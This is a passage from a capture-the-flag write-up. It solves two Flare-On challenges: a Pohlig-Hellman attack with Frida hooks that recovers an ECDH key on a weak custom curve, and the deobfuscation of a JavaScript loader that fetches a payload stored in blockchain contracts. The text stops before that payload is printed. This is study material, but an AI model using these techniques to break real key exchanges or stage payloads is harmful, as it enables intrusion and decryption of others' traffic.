  ECCurve *curve;
  ECFieldElement *x;
  ECFieldElement *y;
  Array *zs;
};

struct ECCurve
{
  void *meta;
  void *field;
  ECFieldElement *a;
  ECFieldElement *b;
  BigInt *order;
  BigInt *cofactor;
  void *endomorphism;
  void *multiplier;
  void *__alignment;
  int coord;
  BigInt *q;
  BigInt *r;
  ECPoint *inf;
};

Note that some of these are actual implementations of the abstract base class, like FpCurve and FpPoint.

The remaining of the reversing work is to slowly recover the methods through different processes explained above. Again, it might be easier to compile a BouncyCastle and using the signature to do this automatically, or write a Ghidra/IDA script. I just rawdogged it.

Finally we have some true progress:

image.png

This tells us that during the handshake process:

  • The client generates a random integer of 0x80 bits.
  • The client multiplies a EC point with this random integer, which gets a new point.
  • The clients sends the server the new point through x and y components, the components are XOR’d with some other number.
  • The server sends the client a point through x and y components, the components are XOR’d with some other number.
  • The client validates the point is on the curve, and multiplies it with the initial random number.

If you are somehow familiar with elliptic curve cryptography, you should recognize that this is an elliptic curve Diffie–Hellman key exchange algorithm.

However, since private keys are generated at random, the ECDH should have forward secrecy, so it should be impossible to recover the content. Well, now it is crypto time.

crypto

First, let’s take a look at this curve. The curve is defined by these parameters:

  • The equation defining parameter \(a\) and \(b\).
  • The modulo (prime) of the curve \(q\).

We also need to know the base point \(G\) that was used.

To know what the values are, we can either do static analysis or just dynamically dump them. Here I wrote a Frida script to print them out nicely:

const base = Process.mainModule.base

function BigIntMagnitude(ptr) {
  return ptr.add(8).readPointer();
}

function ArraySize(ptr) {
  return ptr.add(8).readU64();
}

function ArrayData(ptr) {
  return ptr.add(8 * 2);
}

function BigIntToString(bn) {
  if (bn.isNull()) return '<null>';
  const arr = BigIntMagnitude(bn);
  const size = ArraySize(arr);
  const data = ArrayData(arr);
  let str = '0x';
  for (let i = 0; i < size; ++i) {
    str += ('00000000' + data.add(i * 4).readU32().toString(16)).slice(-8);
  }
  return str;
}

function dumpFieldElement(u1, indent) {
  indent += '\t';

  if (u1.isNull()) return '<null>';

  let str = '';
  str += '\n';
  str += indent;
  str += 'q: ';
  str += BigIntToString(u1.add(0x8).readPointer());
  str += '\n';
  str += indent;
  str += 'r: ';
  str += BigIntToString(u1.add(0x10).readPointer());
  str += '\n';
  str += indent;
  str += 'x: ';
  str += BigIntToString(u1.add(0x18).readPointer());
  return str;
}

function dumpPoint(u1, indent) {
  indent += '\t';

  let str = '';
  str += '\n';
  str += indent;
  str += 'x:';
  str += dumpFieldElement(u1.add(0x10).readPointer(), indent);
  str += '\n';
  str += indent;
  str += 'y:';
  str += dumpFieldElement(u1.add(0x18).readPointer(), indent);
  return str;
}

function dumpCurve(u1, indent) {
  indent += '\t';

  let str = '';
  str += '\n';
  str += indent;
  str += 'a:';
  str += dumpFieldElement(u1.add(0x10).readPointer(), indent);
  str += '\n';
  str += indent;
  str += 'b:';
  str += dumpFieldElement(u1.add(0x18).readPointer(), indent);
  str += '\n';
  str += indent;
  str += 'order:';
  str += BigIntToString(u1.add(0x20).readPointer());
  str += '\n';
  str += indent;
  str += 'cofactor:';
  str += BigIntToString(u1.add(0x28).readPointer());
  str += '\n';
  str += indent;
  str += 'q:';
  str += BigIntToString(u1.add(0x50).readPointer());
  str += '\n';
  str += indent;
  str += 'r:';
  str += BigIntToString(u1.add(0x58).readPointer());
  return str;
}

Interceptor.attach(base.add(0x77110), { // ECPoint::Multiply
  onEnter(args) {
    console.log("Curve:");
    console.log(dumpCurve(args[0].add(0x8).readPointer(), ''));

    console.log("Point:")
    console.log(dumpPoint(args[0], ''));

    console.log("Scalar:")
    console.log(BigIntToString(args[1], ''));
  }, 
});

Interceptor.attach(base.add(0x71ae0), { // BigInteger::Xor
  onEnter: function (args) {
    console.log("XOR:")
    console.log(BigIntToString(args[0]));
    console.log(BigIntToString(args[1]));
  }
});

Note here that I also printed out the BigInteger::Xor call arguments, since we need to know what is being XOR’d on the data sent through the network. Running frida -l solve.js .\fullspeed.exe gives us:

image.png

So now we have the parameters:

  • Curve:
    • \(a\): 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f
    • \(b\): 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
    • \(q\): 0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd
  • Base Point \(G\)
    • \(x\): 0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8
    • \(y\): 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182
  • the XOR key: 0x1337 (repeated)

Doing a quick search on the constants, we could not find any results. This means that the curve parameter is custom, and this normally means there are some vulnerabilities built-in.

I’m not familiar with crypto, so I read this paper to find out possible attacks on a weak curve. According to the paper, let’s first calculate the order of the base point. Using SageMath:

sage: a = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f
sage: b = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
sage: q = 0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd
sage: E = EllipticCurve(GF(q), (a, b))
sage: G = E((0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8, 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182))

sage: G.order()
30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297
sage: G.order().factor()
35809 * 46027 * 56369 * 57301 * 65063 * 111659 * 113111 * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293

So we indeed see the order has small factors. According to the paper, Pohlig-Hellman Attack should be applicable to this case. The paper has an explanation of how it works, essentially, it works by solving the discrete log problems on these factors, turning them into a system of equations involving modulo (linear congruence equations) and then use the Chinese Remainder Theorem to find the solution.

However, because we still have a large factor, we still can’t find the solution to the discrete log problem to that large factor as the base. If we ignore the large factor, we can get the partial solution to the system, which is the smallest solution that satisfies the system of equations except the last one modulo the large factor. Modifying the code in the paper:

def PolligHellmanMod(P,Q):
  zList = list()
  conjList = list()
  rootList = list()
  n = P.order()
  factorList = n.factor()
  for facTuple in factorList[:-1]: # without the last large factor
    P0 = (ZZ(n/facTuple[0]))*P
    conjList.append(0)
    rootList.append(facTuple[0]^facTuple[1])
    for i in range(facTuple[1]):
      Qpart = Q
      for j in range(1,i+1):
        Qpart = Qpart - (zList[j-1]*(facTuple[0]^(j-1))*P)
      Qi = (ZZ(n/(facTuple[0]^(i+1))))*Qpart
    zList.insert(i,discrete_log(Qi,P0,operation='+'))
    conjList[-1] = conjList[-1] + zList[i]*(facTuple[0]^i)
  return crt(conjList,rootList)

We extract the public key sent by the client from the capture:

image.png

Don’t forget to XOR it with 0x1337. The point we get is

sage: P = E((0x195b46a760ed5a425dadcab37945867056d3e1a50124fffab78651193cea7758d4d590bed4f5f62d4a291270f1dcf499, 0x357731edebf0745d081033a668b58aaa51fa0b4fc02cd64c7e8668a016f0ec1317fcac24d8ec9f3e75167077561e2a15))

And run it through the PolligHellmanMod algorithm:

sage: b = PolligHellmanMod(G, P)
sage: b
3914004671535485983675163411331184
sage: G * b == P
False

Unfortunately, the solution is not correct. However, if we have one minimal solution \(b\) to the system of linear congruence equations, to get a larger one, we just need to add the product of all small factors to the base solution \(b + \Pi_{i}p_i\). This is because

$$
\displaystyle
\forall_i, \Pi_j{p_j} = 0 \mod p_i \text{ and } b \equiv c \mod p_i \
\implies\forall_i, b + \Pi_j{p_j} = c \mod p_i
$$

The product of all small factors is \(F = 35809 \times 46027 \times 56369 \times 57301 \times 65063 \times 111659 \times 113111 = 4374617177662805965808447230529629\), which is around 112 bits. The partial solution we get is also 112 bits.

However, we are still missing one key piece. Notice that the private key generated at the very beginning of the process is of size 0x80, which is 128 bits. This means that the solution must exist between \([b, 2^{128})\). Each time we find a new solution, we increase by \(F\). This means, we can just brute-force at most \(\frac{2^{128} - 2^{112}}{2^{112}} \approx 2^{16}\) times to find the correct solutions.

sage: F = 35809 * 46027 * 56369 * 57301 * 65063 * 111659 * 113111
sage: for i in range(2**16):
....:   if G * b == P:
....:       print(b)
....:       break
....:   b += F
....:
168606034648973740214207039875253762473

And we have recovered the private key.

more reversing

It seems that after all this much work, we just reversed the handshake part of the communication. We still need more reversing to figure out what encryption is used on the communication, and maybe some other stuff during the process.

Remember the extra recv call after the two recv calls to receive the public key? If we look at its stack trace

image.png

We found this method, which seems to be receiving byte by byte (inside function e4be0) and then process it in 7cb70.

image.png

Inside 7cb70, we see

image.png

Which roughly reads as:

  • 12–21: some error case checking, ignore
  • 22–25: if the field +0x24 is 0, run two dynamic functions
  • 26–31: XOR the input with an array data with index being field +0x24, increase the field and bitwise-AND 0x3f (equivalent to mod 64).
  • 32–36: bound check exception, ignore

Here’s the notated version to make this more readable:

image.png

So we know the cipher stream block is of size 64. Every time it is exhausted, a new block is generated.

Furthermore, if we look at cross-references to 7cb70

image.png

We see that the other place it’s used, are when the data is send through the network. Therefore, we know that both the receive and send uses the same cipher stream.

To find out how the cipher stream is derived, ideally we need to repeat the process of recovering the meta object (method table) and reverse them.

But honestly, I was very tired from reversing at this point, so I just started YOLO it using Frida.

First, I overwrote the function return value that generates the private key:

Interceptor.attach(base.add(0x107e20), { // GenerateRandomBigInt
  onLeave: function(retval) {
    const array = BigIntMagnitude(retval);

    ArrayDataArrayData(array).writeByteArray([
      0x51,0x57,0xd8,0x7e,
      0x5e,0x1b,0x13,0xe7,
      0x71,0x92,0x55,0xaf,
      0xa9,0x79,0xef,0x8b,
    ]); // 0x7ed85751e7131b5eaf5592718bef79a9
  }
});

This makes the program to send the exact same client public key as the given packet capture. Remember that we wrote our fake server to replay the data inside the packet capture file? This implies the server public key is also the same. This would make the same shared secret as the session recorded in the pcap file, and hopefully, this would make the derived cipher stream the same as well.

Then we add another Frida script to dump the XOR key:

let counter = 0;
Interceptor.attach(base.add(0x7cb70), {
  onEnter(args) {
    this.data = ArrayData(args[0].add(3 * 8).readPointer());
  },
  onLeave() {
    if (counter % 64 == 0) {
      console.log(this.data.readByteArray(64));
    }
    ++counter;
  }
})

Now, we just need to send some data from out fake server to have it print out the cipher stream.

c.send(b'\x00')

And we got the dump

image.png

Let’s use CyberChef to decrypt the data inside packet capture:

image.png

Good, the first block is decrypted. Now we just need to dump more cipher stream XOR keys. We can simply do this by sending more data and trigger the block rotation:

c.send(b'\x00' * 450)

image.png

Uh, why did we only get two blocks? Well, the plaintext sent are zero-terminated, as known from our decrypted block. In the second block, one of the XOR key is also 0, meaning it would thought that the data has been completed, and it would start processing it in another branch. So what we need to do it to avoid having the same byte as XOR stream. The easiest way to do this is to send a random stream of data:

import random
c.send(bytes(random.choices(range(256), k=450)))

Although the probability of running into the same bytes at the same index is not zero, if that happens we can just rerun, until we get all the blocks we want. After a few tries we got lucky:

image.png

image.png

And here we have the flag.txt in Base64 RDBudF9VNWVfeTB1cl9Pd25fQ3VSdjNzQGZsYXJlLW9uLmNvbQ==. Decode it and we get the flag D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com.

8 - clearlyfake

We are given a single JavaScript file. It is obfuscated, so let’s try the online deobfuscator:

eval(
  (function (_0x263ea1, _0x2e472c, _0x557543, _0x36d382, _0x28c14a, _0x39d737) {
    _0x28c14a = function (_0x3fad89) {
      return (
        (_0x3fad89 < _0x2e472c
          ? ''
          : _0x28c14a(parseInt(_0x3fad89 / _0x2e472c))) +
        ((_0x3fad89 = _0x3fad89 % _0x2e472c) > 35
          ? String.fromCharCode(_0x3fad89 + 29)
          : _0x3fad89.toString(36))
      )
    }
    if (!''.replace(/^/, String)) {
      while (_0x557543--) {
        _0x39d737[_0x28c14a(_0x557543)] =
          _0x36d382[_0x557543] || _0x28c14a(_0x557543)
      }
      _0x36d382 = [
        function (_0x12d7e8) {
          return _0x39d737[_0x12d7e8]
        },
      ]
      _0x28c14a = function () {
        return '\\w+'
      }
      _0x557543 = 1
    }
    while (_0x557543--) {
      _0x36d382[_0x557543] &&
        (_0x263ea1 = _0x263ea1.replace(
          new RegExp('\\b' + _0x28c14a(_0x557543) + '\\b', 'g'),
          _0x36d382[_0x557543]
        ))
    }
    return _0x263ea1
  })(
    '0 l=k("1");0 4=k("4");0 1=L l("M");0 a="O";P y j(5){J{0 g="K";0 o=g+1.3.7.u(["c"],[5]).v(2);0 q=m 1.3.h({f:a,d:o});0 p=1.3.7.s("c",q);0 9=E.D(p,"B").x("C-8");0 6="X.Y";4.z(6,"$t = "+9+"\\n");0 r="Q";0 w=W;0 i=r+1.3.7.u(["t"],[9]).v(2);0 A=m 1.3.h({f:a,d:i},w);0 e=1.3.7.s("c",A);0 S=E.D(e,"B").x("C-8");4.z(6,e);F.V(`U N d f:${6}`)}H(b){F.b("G R I y:",b)}}0 5="T";j(5);',
    61,
    61,
    'const|web3||eth|fs|inputString|filePath|abi||targetAddress|contractAddress|error|string|data|decodedData|to|methodId|call|newEncodedData|callContractFunction|require|Web3|await||encodedData|largeString|result|new_methodId|decodeParameter|address|encodeParameters|slice|blockNumber|toString|function|writeFileSync|newData|base64|utf|from|Buffer|console|Error|catch|contract|try|0x5684cff5|new|BINANCE_TESTNET_RPC_URL|decoded|0x9223f0630c598a200f99c5d4746531d10319a569|async|0x5c880fcb|calling|base64DecodedData|KEY_CHECK_VALUE|Saved|log|43152014|decoded_output|txt'.split(
      '|'
    ),
    0,
    {}
  )
)

Huh, it seems that the deobfuscator doesn’t do a good job at all, the script is still unreadable. However, notice that the script has a eval at the outermost level. This means that whatever the argument is must evaluate to a string. Let’s try evaluate it directly:

image.png

Awesome. Here’s after it is formatted:

const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
  try {
    const methodId = "0x5684cff5";
    const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
    const result = await web3.eth.call({
      to: contractAddress,
      data: encodedData
    });
    const largeString = web3.eth.abi.decodeParameter("string", result);
    const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
    const filePath = "decoded_output.txt";
    fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");
    const new_methodId = "0x5c880fcb";
    const blockNumber = 43152014;
    const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
    const newData = await web3.eth.call({
      to: contractAddress,
      data: newEncodedData
    }, blockNumber);
    const decodedData = web3.eth.abi.decodeParameter("string", newData);
    const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
    fs.writeFileSync(filePath, decodedData);
    console.log(`Saved decoded data to:${filePath}`)
  } catch (error) {
    console.error("Error calling contract function:", error)
  }
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);

Turns out it is a Node.JS script to invoke some contracts on the Binance TestNet Blockchain. Here we use https://testnet.bscscan.com/ to look at the transactions without writing web3 code.

first contract

Let’s look at the first contract.

image.png

Unfortunately, when we try to use the built-in decompiler of this website, it does not work.

image.png

Then I tried https://ethervm.io/decompile, which gives us at least some output

image.png

Looking closer into the reason why this failed, we see that it’s because the Solidity bytecode is using an unrecognized opcode 0x5F.

image.png

However, 0x5F is actually a valid opcode as listed on the same website:

image.png

So I spend sometime finding a tooling that can decompile this opcode, and it seems that this decompiler https://app.dedaub.com/decompile can do the job.

// Decompiled by library.dedaub.com
// 2024.08.29 21:32 UTC
// Compiled using the solidity compiler version 0.8.26

function testStr(string str) public payable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    require(str <= uint64.max);
    require(4 + str + 31 < 4 + (msg.data.length - 4));
    require(str.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v0 = new bytes[](str.length);
    require(!((v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
    require(str.data + str.length <= 4 + (msg.data.length - 4));
    CALLDATACOPY(v0.data, str.data, str.length);
    v0[str.length] = 0;
    if (v0.length == 17) {
        require(0 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        v1 = v0.data;
        if (bytes1(v0[0] >> 248 << 248) == 0x6700000000000000000000000000000000000000000000000000000000000000) {
            require(1 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
            if (bytes1(v0[1] >> 248 << 248) == 0x6900000000000000000000000000000000000000000000000000000000000000) {
                require(2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                if (bytes1(v0[2] >> 248 << 248) == 0x5600000000000000000000000000000000000000000000000000000000000000) {
                    require(3 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                    if (bytes1(v0[3] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
                        require(4 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                        if (bytes1(v0[4] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
                            require(5 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                            if (bytes1(v0[5] >> 248 << 248) == 0x4d00000000000000000000000000000000000000000000000000000000000000) {
                                require(6 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                if (bytes1(v0[6] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
                                    require(7 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                    if (bytes1(v0[7] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
                                        require(8 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                        if (bytes1(v0[8] >> 248 << 248) == 0x7000000000000000000000000000000000000000000000000000000000000000) {
                                            require(9 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                            if (bytes1(v0[9] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
                                                require(10 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                if (bytes1(v0[10] >> 248 << 248) == 0x7900000000000000000000000000000000000000000000000000000000000000) {
                                                    require(11 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                    if (bytes1(v0[11] >> 248 << 248) == 0x4c00000000000000000000000000000000000000000000000000000000000000) {
                                                        require(12 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                        if (bytes1(v0[12] >> 248 << 248) == 0x3000000000000000000000000000000000000000000000000000000000000000) {
                                                            require(13 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                            if (bytes1(v0[13] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
                                                                require(14 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                                if (bytes1(v0[14] >> 248 << 248) == 0x6400000000000000000000000000000000000000000000000000000000000000) {
                                                                    require(15 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
                                                                    if (bytes1(v0[15] >> 248 << 248) == 0x2100000000000000000000000000000000000000000000000000000000000000) {
                                                                        v2 = v3.data;
                                                                        v4 = bytes20(0x5324eab94b236d4d1456edc574363b113cebf09d000000000000000000000000);
                                                                        if (v3.length < 20) {
                                                                            v4 = v5 = bytes20(v4);
                                                                        }
                                                                        v6 = v7 = v4 >> 96;
                                                                    } else {
                                                                        v6 = v8 = 0;
                                                                    }
                                                                } else {
                                                                    v6 = v9 = 0xce89026407fb4736190e26dcfd5aa10f03d90b5c;
                                                                }
                                                            } else {
                                                                v6 = v10 = 0x506dffbcdaf9fe309e2177b21ef999ef3b59ec5e;
                                                            }
                                                        } else {
                                                            v6 = v11 = 0x26b1822a8f013274213054a428bdbb6eba267eb9;
                                                        }
                                                    } else {
                                                        v6 = v12 = 0xf7fc7a6579afa75832b34abbcf35cb0793fce8cc;
                                                    }
                                                } else {
                                                    v6 = v13 = 0x83c2cbf5454841000f7e43ab07a1b8dc46f1cec3;
                                                }
                                            } else {
                                                v6 = v14 = 0x632fb8ee1953f179f2abd8b54bd31a0060fdca7e;
                                            }
                                        } else {
                                            v6 = v15 = 0x3bd70e10d71c6e882e3c1809d26a310d793646eb;
                                        }
                                    } else {
                                        v6 = v16 = 0xe2e3dd883af48600b875522c859fdd92cd8b4f54;
                                    }
                                } else {
                                    v6 = v17 = 0x4b9e3b307f05fe6f5796919a3ea548e85b96a8fe;
                                }
                            } else {
                                v6 = v18 = 0x6371b88cc8288527bc9dab7ec68671f69f0e0862;
                            }
                        } else {
                            v6 = v19 = 0x53fbb505c39c6d8eeb3db3ac3e73c073cd9876f8;
                        }
                    } else {
                        v6 = v20 = 0x84abec6eb54b659a802effc697cdc07b414acc4a;
                    }
                } else {
                    v6 = v21 = 0x87b6cf4edf2d0e57d6f64d39ca2c07202ab7404c;
                }
            } else {
                v6 = v22 = 0x53387f3321fd69d1e030bb921230dfb188826aff;
            }
        } else {
            v6 = v23 = 0x40d3256eb0babe89f0ea54edaa398513136612f5;
        }
    } else {
        v6 = v24 = 0x76d76ee8823de52a1a431884c2ca930c5e72bff3;
    }
    MEM[MEM[64]] = address(v6);
    return address(v6);
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function function_selector( function_selector) public payable { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x5684cff5 == function_selector >> 224) {
            testStr(string);
        }
    }
    fallback();
}

The function_selector is the entry point of the solidity code. From the source code, we see that the method ID is 0x5684cff5, and from the decompiled code, we see the same constant.

From the first if, we can tell that the input string has length 17. Then, for each of the next ifs, a single byte is checked. We can just use regular expression 0x(..)0{62} to match all the constants. We extracted

67 69 56 33 5f 4d 33 5f 70 34 79 4c 30 34 64 21 

Which decodes to giV3_M3_p4yL04d!. Notice that this is only 16 bytes, and the last byte is not checked at all, so it can be anything.

If successfully validated all the bytes, at the end the value 0x5324eab94b236d4d1456edc574363b113cebf09d is returned.

second contract

Notice that the given JavaScript doesn’t contain the correct logic, but we can guess what it wanted to do: The return value of the first contract call is used as the contract address of the second call. Putting the return value into the explorer, we indeed see another contract:

image.png

Putting it through Dedaub again, we get another decompiled contract code:

// Decompiled by library.dedaub.com
// 2024.09.28 13:35 UTC
// Compiled using the solidity compiler version 0.8.26

// Data structures and variables inferred from the use of storage instructions
uint256[] array_0; // STORAGE[0x0]

function 0x14a(bytes varg0) private { 
    require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
    require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v0 = 0x483(array_0.length);
    if (v0 > 31) {
        v1 = v2 = array_0.data;
        v1 = v3 = v2 + (varg0.length + 31 >> 5);
        while (v1 < v2 + (v0 + 31 >> 5)) {
            STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
            v1 = v1 + 1;
        }
    }
    v4 = v5 = 32;
    if (varg0.length > 31 == 1) {
        v6 = array_0.data;
        v7 = v8 = 0;
        while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
            STORAGE[v6] = MEM[varg0 + v4];
            v6 = v6 + 1;
            v4 = v4 + 32;
            v7 = v7 + 32;
        }
        if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
            STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
        }
        array_0.length = (varg0.length << 1) + 1;
    } else {
        v9 = v10 = 0;
        if (varg0.length) {
            v9 = MEM[varg0.data];
        }
        array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
    }
    return ;
}

function fallback() public payable { 
    revert();
}

function 0x5c880fcb() public payable { 
    v0 = 0x483(array_0.length);
    v1 = new bytes[](v0);
    v2 = v3 = v1.data;
    v4 = 0x483(array_0.length);
    if (v4) {
        if (31 < v4) {
            v5 = v6 = array_0.data;
            do {
                MEM[v2] = STORAGE[v5];
                v5 += 1;
                v2 += 32;
            } while (v3 + v4 <= v2);
        } else {
            MEM[v3] = array_0.length >> 8 << 8;
        }
    }
    v7 = new bytes[](v1.length);
    MCOPY(v7.data, v1.data, v1.length);
    v7[v1.length] = 0;
    return v7;
}

function 0x483(uint256 varg0) private { 
    v0 = v1 = varg0 >> 1;
    if (!(varg0 & 0x1)) {
        v0 = v2 = v1 & 0x7f;
    }
    require((varg0 & 0x1) - (v0 < 32), Panic(34)); // access to incorrectly encoded storage byte array
    return v0;
}

function owner() public payable { 
    return address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d);
}

function 0x916ed24b(bytes varg0) public payable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    require(varg0 <= uint64.max);
    require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
    require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v0 = new bytes[](varg0.length);
    require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
    require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
    CALLDATACOPY(v0.data, varg0.data, varg0.length);
    v0[varg0.length] = 0;
    0x14a(v0);
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__() private { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x5c880fcb == msg.data[0] >> 224) {
            0x5c880fcb();
        } else if (0x8da5cb5b == msg.data[0] >> 224) {
            owner();
        } else if (0x916ed24b == msg.data[0] >> 224) {
            0x916ed24b();
        }
    }
    fallback();
}

The second contract call’s method ID is 0x5c880fcb, so let’s take a look at that function first.

From this function, we see there are two ways the program used to store the data of a byte array: one is stored inline with the length, and another is stored somewhere in global STORAGE. The least significant bit of the length indicates which one is it.

  • If the LSB is 0, then it is the inline encoding, where the size is stored in the next 7 bits, and data is stored in the remaining bits of the uint256.
  • If the LSB is 1, then the remaining of the bits stores the length, and the next slot would store the pointer to the first block of the data inside STORAGE. The remaining blocks would be the consecutive blocks in the storage.

So if we look 0x5c880fcb we see exactly a load operation to the stored byte array: The 0x483 is to check the validation of the length and extract the actual length, and the data is indexed and copied to the memory. The loaded data is returned.

At the block number 43152014, which is the one given in the script, we see a call to this contract with method number 0x916ed24b:

image.png

The beginning of method 0x916ed24b is to do some validations, copy the input data into memory, and call 0x14a on the input data.

For function 0x14a, we see that it does the following:

  1. Clear the existing data inside the STORAGE array.
  2. Store the new data into the STORAGE array using the encoding explained above.

Essentially, some data can be uploaded into the contract using method 0x916ed24b, which can be retrieved using method 0x5c880fcb.

Since the uploaded data is in the payload, we can just view it using the Explorer:

image.png

Which is a Base64 encoded data. It decodes to the following PowerShell script:

